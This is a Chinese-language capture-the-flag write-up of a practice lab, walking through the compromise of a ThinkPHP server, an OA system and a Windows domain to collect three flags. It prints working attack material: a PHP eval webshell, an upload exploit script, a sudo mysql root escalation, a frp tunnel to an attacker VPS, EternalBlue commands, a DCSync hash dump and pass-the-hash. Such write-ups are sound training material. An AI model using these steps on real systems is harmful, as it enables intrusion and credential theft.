写在最前面 圈圈表示你太菜了,并反手向你丢了7个沙砾(qwq)
钱队一直说渗透很重要,这次就用这个最简单的靶场来进行正式的入门(希望不会在明年7月留下遗憾)
开始! flag1 题目给出了一个ip地址39.101.193.135,我们可以使用nmap来看看他开启了那些端口,命令为
1 sudo nmap --min-rate 10000 39.101.193.135
这段命令是以最小速率 10000 对全部端口(1-65535)进行扫描,10000 是权衡的结果,数字过大扫描速度快,但容易遗漏端口,数字过小则扫描时间过长,经验表明 10000 就是扫描的合适速度。-p 是端口参数,-p- 表示对所有端口进行扫描。扫描结果如下:
1 2 3 4 5 6 7 8 9 10 11 ┌──(root㉿kali)-[~/Desktop] └─# sudo nmap --min-rate 10000 39.101.193.135 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 21:49 EDT Nmap scan report for 39.101.193.135 Host is up (0.015s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done : 1 IP address (1 host up) scanned in 0.96 seconds
可以看到开启了 22、80 端口,22 端口是一个 ssh 服务,80 端口是一个 http 服务,接下来我们可以查看这个几个端口开启的服务和操作系统版本,命令如下:
1 nmap –sT –sV -O –p22,80 39.101.193.135
其中-sT
表示进行TCP
扫描(三次握手),-p
表示待扫描的端口(后跟待扫描的端口 22、80)-sV
表示探测开放服务的版本,-O
表示探测操作系统版本,扫描结果如下:
可以看到这个ip是一台 ubuntu linux 服务器,好像也没有什么有用的信息,想到还有一个非常好用的扫描工具fscan
安装看fscan安装教程 ,在这个页面直接下载,不用按网上的教程配go环境编译,不然会被圈圈骂(bushi
这个工具有linux和windows版本,其具体用法可以看官方的文档,这里只用于进行简单的端口扫描,(cmd)输入:
1 .\fscan -h 39.101.193.135
结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 D:\PenetrationW>.\fscan -h 39.101.193.135 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 39.101.193.135:22 open 39.101.193.135:80 open [*] alive ports len is: 2 start vulscan [*] WebTitle http://39.101.193.135 code:200 len:5578 title:Bootstrap Material Admin [+] PocScan http://39.101.193.135 poc-yaml-thinkphp5023-method-rce poc1 已完成 2/2 [*] 扫描结束,耗时: 47.871504s
可以看到 web server 的版本是ThinkPHP 5.0.23
,而且存在漏洞!!! 当然也可以使用nmap命令来进行漏洞扫描,命令如下:
1 nmap --script=vuln -p22,80 39.99.255.153
这里使用ThinkphpGUI这个开源工具来进行扫一下, 工具链接为:Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell。 (github.com)
输入url
和选择版本后点击检测和GetShell
即可
可以看到网页存在一个后门,工具还给了一个漏洞利用的poc
,我们利用他给的poc
来写入shell.php
后门,但是没什么回显
那就用蚁剑连接一下剩下的那个后门,成功连接
接下来就是需要提取,我们先看一下自己是什么权限(蚁剑的虚拟终端):
1 2 3 4 5 6 7 8 9 10 11 (www-data:/var/www/html) $ whoami www-data (www-data:/var/www/html) $ uname -a Linux ubuntu-web01 5.4.0-110-generic (www-data:/var/www/html) $ id uid=33(www-data) gid=33(www-data) groups =33(www-data) (www-data:/var/www/html) $ sudo -l Matching Defaults entries for www-data on ubuntu-web01: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ubuntu-web01: (root) NOPASSWD: /usr/bin/mysql
可以看见是www-data
权限(无法进入root文件夹),但是输入sudo -l
时回显
(root) NOPASSWD: /usr/bin/mysql
这说明我们可以通过通过sudo
高权限运行mysql
,进而能够执行 root权限才能执行的命令,可以参考下面这篇文章,里面也有讲很多种提取的方法渗透测试:Linux提权精讲(三)之sudo方法第三期_nmap sudo 提权-CSDN博客
于是我们就能很容易的获取到flag1
,可以发现flag1
在/root/flag
目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 (www-data:/var/www/html) $ sudo mysql -e '\! /bin/sh' (www-data:/var/www/html) $ sudo mysql -e '\! ls /root' flag (www-data:/var/www/html) $ sudo mysql -e '\! ls /root/flag' flag01.txt (www-data:/var/www/html) $ sudo mysql -e '\! cat /root/flag/flag01.txt' ██ ██ ██ ██ ███████ ███████ ██ ████ ██ ████████ ░░██ ██ ░██ ████ ██░░░░░██ ░██░░░░██ ████ ░██░██ ░██ ██░░░░░░██ ░░██ ██ ░██ ██░░██ ██ ░░██░██ ░██ ██░░██ ░██░░██ ░██ ██ ░░ ░░███ ░██ ██ ░░██ ░██ ░██░███████ ██ ░░██ ░██ ░░██ ░██░██ ██░██ ░██ ██████████░██ ░██░██░░░██ ██████████░██ ░░██░██░██ █████ ██ ░░██ ░██░██░░░░░░██░░██ ██ ░██ ░░██ ░██░░░░░░██░██ ░░████░░██ ░░░░██ ██ ░░██░██░██ ░██ ░░███████ ░██ ░░██░██ ░██░██ ░░███ ░░████████ ░░ ░░ ░░ ░░ ░░ ░░░░░░░ ░░ ░░ ░░ ░░ ░░ ░░░ ░░░░░░░░ Congratulations!!! You found the first flag, the next flag may be in a server in the internal network. flag01: flag{60b53231-
flag2 接下来就是要考虑内网横向移动,我们的最终目的是获取域控上的 flag,我们先用蚁剑上传 fscan,扫描一下内网中有那些存活机器
这里要记得给fscan
执行权限chmod 777 fscan
,否则会执行不了 通过ip a
我们可以发现网段为172.22.1.0/24
1 ./fscan -h 172.22.1.0/24
扫描的结果会自动存在当前目录的result.txt
文件上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 (www-data:/var/www/html) $ chmod 777 fscan (www-data:/var/www/html) $ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link /ether 00:16:3e:1e:d4:00 brd ff:ff:ff:ff:ff:ff inet 172.22.1.15/16 brd 172.22.255.255 scope global dynamic eth0 valid_lft 315358560sec preferred_lft 315358560sec inet6 fe80::216:3eff:fe1e:d400/64 scope link valid_lft forever preferred_lft forever (www-data:/var/www/html) $ ./fscan -h 172.22.1.0/24 (www-data:/var/www/html) $ ls favicon.ico fscan index.php peiqi.php result.txt robots.txt router.php static (www-data:/var/www/html) $ cat result.txt 172.22.1.2:88 open 172.22.1.18:80 open 172.22.1.15:80 open 172.22.1.15:22 open 172.22.1.18:3306 open 172.22.1.21:445 open 172.22.1.18:445 open 172.22.1.2:445 open 172.22.1.21:139 open 172.22.1.18:139 open 172.22.1.2:139 open 172.22.1.21:135 open 172.22.1.18:135 open 172.22.1.2:135 open [*] NetInfo [*]172.22.1.2 [->]DC01 [->]172.22.1.2 [*] NetInfo [*]172.22.1.21 [->]XIAORANG-WIN7 [->]172.22.1.21 [*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin [*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393) [*] NetInfo [*]172.22.1.18 [->]XIAORANG-OA01 [->]172.22.1.18 [*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393 [+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1) [*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1 [*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600 [*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login [*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统 [+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
于是我们搜集到如下信息:
172.22.1.2:DC域控 172.22.1.21:Windows的机器并且存在MS17-010 漏洞 172.22.1.18:信呼OA办公系统
而我们的最终目标即为DC
域控 我们首先是对OA
办公系统进行攻击,在这之前我们要先进行内网穿透,其目的是使我们能够在攻击机访问内网的服务,这里我们需要一台vps
和工具frp
,学过web的师傅都知道 vps 是什么,这里就不做解释,frp
的相关知识也请读者自行学习,这里只做简单的介绍。frp的下载地址为,有linux和windows版本:fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet. (github.com)
其中frpc
和frps
是可执行文件,我们需要将frps
和frps.ini
上传到我们的vpsfrpc
和frpc.ini
上传到我们的靶机
下面是我相关文件的配置 frpc.ini:
1 2 3 4 5 6 7 8 [common] server_addr = 123.249.99.71 # 我vps的ip地址 server_port = 7000 [socks5] type = tcp plugin = socks5 remote_port = 798
frps.ini:
1 2 [common] bind_port = 7000
这里要确保你的 vps 开启了 7000 和 798 端口
在vps
执行
然后在靶机执行:
(顺序不能反)
最后在攻击机你自己的电脑上(windows,不是 kali,kali 的配置方法在后面有讲)使用Proxy Servers配置 socks5 代理即可(不能提前开)
配置完后就能直接在浏览器中输入172.22.1.18
进行访问了,可以看到该系统的版本是2.2.8
(这个是重点,可以通过搜索系统的版本号看看有没有已经给发现的漏洞)
这里存在一个弱口令,admin/admin123
这个系统存在文件上传漏洞,有直接的poc,直接参考[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_信呼协同办公系统弱口令-CSDN博客
exp用上面那个会报错,在网上又找了一个,下面的可以 exp.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestssession = requests.session() url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11' data1 = { 'rempass' : '0' , 'jmpass' : 'false' , 'device' : '1625884034525' , 'ltype' : '0' , 'adminuser' : 'YWRtaW4=' , 'adminpass' : 'YWRtaW4xMjM=' , 'yanzm' : '' } r = session.post(url1, data=data1) r = session.post(url2, files={'file' : open ('1.php' , 'r+' )}) filepath = str (r.json()['filepath' ]) filepath = "/" + filepath.split('.uptemp' )[0 ] + '.php' id = r.json()['id' ]url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id } ' r = session.get(url3) r = session.get(url_pre + filepath + "?1=system('dir');" ) print (r.text)
相同目录下还有一个 1.php 文件存的是一句话木马 1.php:
1 <?php eval ($_POST ["1" ]);?>
运行后可以看到文件上传的路径
1 2 3 PS D:\PenetrationW\script> & d:/ProgrammingLanguage/Python31/python3.exe d:/PenetrationW/script/exp.py <br /> <b>Notice</b>: Undefined offset: 1 in <b>C:\phpStudy\PHPTutorial\WWW\upload\2024-09\22_11172620.php</b> on line <b>1</b><br />
然后直接蚁剑连接(记得蚁剑也要在代理设置里面设置socks5代理)
1 2 3 C:\phpStudy\PHPTutorial\WWW\upload\2024-09> whoami nt authority\system
我们直接在Administrator
用户的目录下找到 flag2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ___ ___ ___ ________ ________ ________ ________ ________ ________ |\ \ / /|\ \|\ __ \|\ __ \|\ __ \|\ __ \|\ ___ \|\ ____\ \ \ \/ / | \ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \\ \ \ \ \___| \ \ / / \ \ \ \ __ \ \ \\\ \ \ _ _\ \ __ \ \ \\ \ \ \ \ ___ / \/ \ \ \ \ \ \ \ \ \\\ \ \ \\ \\ \ \ \ \ \ \\ \ \ \ \|\ \ / /\ \ \ \__\ \__\ \__\ \_______\ \__\\ _\\ \__\ \__\ \__\\ \__\ \_______\ /__/ /\ __\ \|__|\|__|\|__|\|_______|\|__|\|__|\|__|\|__|\|__| \|__|\|_______| |__|/ \|__| flag02: 2ce3-4813-87d4- Awesome! ! ! You found the second flag, now you can attack the domain controller.
flag3 接下来我们就对ip 172.22.1.21
进行渗透,这里需要用到渗透框架Metasploit Framework
,kali自带这个框架,这里的攻击机我选用kali(windows也可以安装Metasploit Framework,不过上面我说过也要讲讲如何在kali设置代理)。我们首先要在kali
中设置socks5
代理,否则我们无法访问其内网的环境。 在kali
中设置代理比windows
简单很多,他自带了一个proxychains4
工具,我们只需要编辑etc
目录下的proxychians4.conf
文件:
在最下面的ProxyList上加上socks5 vps ip
端口 即可
1 socks5 123.249.99.71 798
然后就能在浏览器中访问靶机内网的 172.22.1.* 那三台机器了 在上面用 fscan 的扫描中我们发现该机子存在 MS17-010 漏洞,这个就是大名鼎鼎的永恒之蓝漏洞 我们先在 kali 输入msfconsole
启动Metasploit Framework
(后面简称 msf)
输入search ms17-010
搜索ms17-010
相关模块,可以看到一共找到了 4 个不同的模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 ┌──(kali㉿kali)-[/etc] └─$ msfconsole Metasploit tip: Writing a custom module? After editing your module, why not try the reload command .:okOOOkdc' ' cdkOOOko:. .xOOOOOOOOOOOOc cOOOOOOOOOOOOx. :OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO: 'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO' oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx lOOOOOOOO. ;d; ,OOOOOOOOl .OOOOOOOO. .; ; ,OOOOOOOO. cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc oOOOOOO. .OOOO. :OOOO. ,OOOOOOo lOOOOO. .OOOO. :OOOO. ,OOOOOl ;OOOO' .OOOO. :OOOO. ;OOOO; .dOOo .OOOOocccxOOOO. xOOd. ,kOl .OOOOOOOOOOOOO. .dOk, :kk;.OOOOOOOOOOOOO.cOk: ;kOOOOOOOOOOOOOOOk: ,xOOOOOOOOOOOx, .lOOOOOOOl. ,dOd, . =[ metasploit v6.4.9-dev ] + -- --=[ 2420 exploits - 1248 auxiliary - 423 post ] + -- --=[ 1465 payloads - 47 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ msf6 > search ms17-010 Matching Modules ================ - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 \_ target: Automatic Target . . . . 2 \_ target: Windows 7 . . . . 3 \_ target: Windows Embedded Standard 7 . . . . 4 \_ target: Windows Server 2008 R2 . . . . 5 \_ target: Windows 8 . . . . 6 \_ target: Windows 8.1 . . . . 7 \_ target: Windows Server 2012 . . . . 8 \_ target: Windows 10 Pro . . . . 9 \_ target: Windows 10 Enterprise Evaluation . . . . 10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 11 \_ target: Automatic . . . . 12 \_ target: PowerShell . . . . 13 \_ target: Native upload . . . . 14 \_ target: MOF upload . . . . 15 \_ AKA: ETERNALSYNERGY . . . . 16 \_ AKA: ETERNALROMANCE . . . . 17 \_ AKA: ETERNALCHAMPION . . . . 18 \_ AKA: ETERNALBLUE . . . . 19 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 20 \_ AKA: ETERNALSYNERGY . . . . 21 \_ AKA: ETERNALROMANCE . . . . 22 \_ AKA: ETERNALCHAMPION . . . . 23 \_ AKA: ETERNALBLUE . . . . 24 auxiliary/scanner/smb/smb_ms17_010 . normal No MS17-010 SMB RCE Detection 25 \_ AKA: DOUBLEPULSAR . . . . 26 \_ AKA: ETERNALBLUE . . . . 27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution 28 \_ target: Execute payload (x64) . . . . 29 \_ target: Neutralize implant . . . . Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'
这里我们选择使用第一个模块,因为他影响是版本比较多,然后接下来依次输入以下命令来发起永恒之蓝攻击:
1 2 3 4 use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp_uuid set RHOSTS 172.22.1.21 exploit
运行成功会出现meterpreter>
该Meterpreter
是metasploit
的一个扩展模块,可以调用metasploit
的一些功能,对目标系统进行更深入的渗透,入获取屏幕、上传/下载文件、创建持久后门等
1 2 3 4 5 6 meterpreter > screenshot meterpreter > upload hello.txt c:// meterpreter > download d://1.txt meterpreter > shell meterpreter > clearev
紧接着上图,可以发现我们已经成功的打进该主机,遗憾的是该机子上并没有 flag ,也就是说我们最后的flag 在 windows DC 域控制器上面 接下来是进行 DCSync 攻击,这里简单解释一下: 首先,什么是 DCSync
在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。 DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash
也就是说我们可以通过DCSync
来导出所有用户的 hash 然后进行哈希传递攻击,要想使用 DCSync 必须获得以下任一用户的权限
1 2 3 Administrators 组内的用户 Domain Admins 组内的用户 Enterprise Admins 组内的用户域控制器的计算机帐户
现在我们回看一开始fscan
的扫描结果
1 [+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
我们可以看到我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件,于是我们在 msf 中依次输入以下命令来获取用户的 hash
1 2 load kiwi kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
下面是执行的全过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 msf6 > Interrupt: use the 'exit' command to quit msf6 > use exploit/windows/smb/ms17_010_eternalblue [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp_uuid payload => windows/x64/meterpreter/bind_tcp_uuid msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 172.22.1.21 RHOSTS => 172.22.1.21 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit [*] 172.22.1.21:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 172.22.1.21:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit) [*] 172.22.1.21:445 - Scanned 1 of 1 hosts (100% complete) [+] 172.22.1.21:445 - The target is vulnerable. [*] 172.22.1.21:445 - Connecting to target for exploitation. [+] 172.22.1.21:445 - Connection established for exploitation. [+] 172.22.1.21:445 - Target OS selected valid for OS indicated by SMB reply [*] 172.22.1.21:445 - CORE raw buffer dump (53 bytes) [*] 172.22.1.21:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2 [*] 172.22.1.21:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris [*] 172.22.1.21:445 - 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P [*] 172.22.1.21:445 - 0x00000030 61 63 6b 20 31 ack 1 [+] 172.22.1.21:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 172.22.1.21:445 - Trying exploit with 12 Groom Allocations. [*] 172.22.1.21:445 - Sending all but last fragment of exploit packet [*] 172.22.1.21:445 - Starting non-paged pool grooming [+] 172.22.1.21:445 - Sending SMBv2 buffers [+] 172.22.1.21:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 172.22.1.21:445 - Sending final SMBv2 buffers. [*] 172.22.1.21:445 - Sending last fragment of exploit packet! [*] 172.22.1.21:445 - Receiving response from exploit packet [+] 172.22.1.21:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 172.22.1.21:445 - Sending egg to corrupted connection. [*] 172.22.1.21:445 - Triggering free of corrupted buffer. [*] Started bind TCP handler against 172.22.1.21:4444 [*] Sending stage (201798 bytes) to 172.22.1.21 [*] Meterpreter session 1 opened (10.0.2.15:36153 -> 172.22.1.21:4444) at 2024-09-21 23:38:50 -0400 [+] 172.22.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 172.22.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 172.22.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success. meterpreter > kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit [DC] 'xiaorang.lab' will be the domain [DC] 'DC01.xiaorang.lab' will be the DC server [DC] Exporting domain 'xiaorang.lab' [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) 502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514 1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512 1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512 1000 DC01$ 41934ce1b8888fd75b8179e3535a983a 532480 500 Administrator 10cf89a850fb1cdbe6bb432b859164c8 512 1104 XIAORANG-OA01$ bd227c7ddbf221ea74dea7834815adc5 4096 1108 XIAORANG-WIN7$ 22d4977c16a5cc2277246a4ce6400bab 4096 mimikatz(powershell) Bye! meterpreter >
这里我们比较关注是Administrator
用户的 hash,接下来我们使用crackmapexec
来进行哈希传递攻击,来实现 DC域控 上的任意命令执行,通过以下命令来获取 flag3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ┌──(kali㉿kali)-[~/Desktop] └─$ crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" [*] First time use detected [*] Creating home directory structure [*] Creating default workspace [*] Initializing RDP protocol database [*] Initializing SSH protocol database [*] Initializing LDAP protocol database [*] Initializing FTP protocol database [*] Initializing WINRM protocol database [*] Initializing SMB protocol database [*] Initializing MSSQL protocol database [*] Copying default configuration file [*] Generating SSL certificate SMB 172.22.1.2 445 DC01 [*] Windows Server 2016 Datacenter 14393 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:True) SMB 172.22.1.2 445 DC01 [+] xiaorang.lab\administrator:10cf89a850fb1cdbe6bb432b859164c8 (Pwn3d!) SMB 172.22.1.2 445 DC01 [+] Executed command SMB 172.22.1.2 445 DC01 ___ ___ SMB 172.22.1.2 445 DC01 \\ / / / / // | | // ) ) // ) ) // | | /| / / // ) ) SMB 172.22.1.2 445 DC01 \ / / / //__| | // / / //___/ / //__| | //| / / // SMB 172.22.1.2 445 DC01 / / / / / ___ | // / / / ___ ( / ___ | // | / / // ____ SMB 172.22.1.2 445 DC01 / /\\ / / // | | // / / // | | // | | // | / / // / / SMB 172.22.1.2 445 DC01 / / \\ __/ /___ // | | ((___/ / // | | // | | // |/ / ((____/ / SMB 172.22 .1.2 445 DC01 SMB 172.22 .1.2 445 DC01 SMB 172.22 .1.2 445 DC01 flag03: e8f88d0d43d6} SMB 172.22 .1.2 445 DC01 SMB 172.22 .1.2 445 DC01 Unbelievable! ! You found the last flag, which means you have full control over the entire domain network.
最终flag就出了 flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}
总结 这次只是春秋云镜最简单的靶机,提前看了许多wp,下好了工具,熟悉了每一个流程才开始打的,但是还是花了将近两个小时的时间,不过收获是真的很大,以前不怎么理解的原理终于懂了一些
总的来说,是个不错的开始,继续奋斗!